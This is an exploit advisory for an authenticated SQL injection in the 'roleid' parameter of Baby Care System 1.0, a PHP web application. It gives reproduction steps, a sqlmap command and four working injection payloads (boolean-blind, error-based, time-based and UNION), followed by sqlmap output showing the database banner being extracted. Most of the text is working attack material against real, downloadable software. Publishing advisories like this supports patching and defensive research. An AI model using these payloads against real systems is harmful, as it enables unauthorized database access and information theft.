Baby Care System 1.0 SQL Injection

`# Exploit Title: Baby Care System 1.0 - 'roleid' SQL Injection  
# Exploit Author: Vijay Sachdeva  
# Date: 2020-12-23  
# Vendor Homepage: https://www.sourcecodester.com/php/14622/baby-care-system-phpmysqli-full-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14622&title=Baby+Care+System+in+PHP%2FMySQLi+with+Full+Source+Code+  
# Affected Version: Version 1  
# Tested on Kali Linux  
  
Step 1. Log in to the application with admin credentials.  
  
Step 2. Click on "MENUS" on the left side and then edit any "Page Role".  
  
Step 3. On the edit page, the URL should be: http://localhost/BabyCare-master/admin.php?id=pagerole&action=edit&roleid=7  
  
Step 4. Run sqlmap on the URL where the "roleid" parameter is given  
  
sqlmap -u "  
http://192.168.1.240/BabyCare-master/admin.php?id=pagerole&action=edit&roleid=7"  
--banner  
  
---  
  
Parameter: roleid (GET)  
  
Type: boolean-based blind  
  
Title: AND boolean-based blind - WHERE or HAVING clause  
  
Payload: id=pagerole&action=edit&roleid=8' AND 3077=3077 AND  
'IPDn'='IPDn  
  
  
Type: error-based  
  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
  
Payload: id=pagerole&action=edit&roleid=8' AND (SELECT 2834 FROM(SELECT  
COUNT(*),CONCAT(0x7170767871,(SELECT  
(ELT(2834=2834,1))),0x71717a6271,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'jnFT'='jnFT  
  
  
Type: time-based blind  
  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  
Payload: id=pagerole&action=edit&roleid=8' AND (SELECT 4559 FROM  
(SELECT(SLEEP(5)))jaEa) AND 'iBGT'='iBGT  
  
  
Type: UNION query  
  
Title: Generic UNION query (NULL) - 4 columns  
  
Payload: id=pagerole&action=edit&roleid=-2488' UNION ALL SELECT  
CONCAT(0x7170767871,0x7577594366596d7077424f5746685366434a5244775565756b7a41566d63546c5156564e6d67556e,0x71717a6271),NULL,NULL,NULL--  
-  
  
---  
  
[05:32:00] [INFO] the back-end DBMS is MySQL  
  
[05:32:00] [INFO] fetching banner  
  
back-end DBMS: MySQL >= 5.0 (MariaDB fork)  
  
banner: '10.3.24-MariaDB-2'  
  
---  
  
[08:18:34] [INFO] the back-end DBMS is MySQL  
  
[08:18:34] [INFO] fetching banner  
  
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)  
  
banner: '10.3.24-MariaDB-2'  
  
  
---  
  
Step 5. Sqlmap should inject the web-app successfully which leads to information disclosure.  
  
`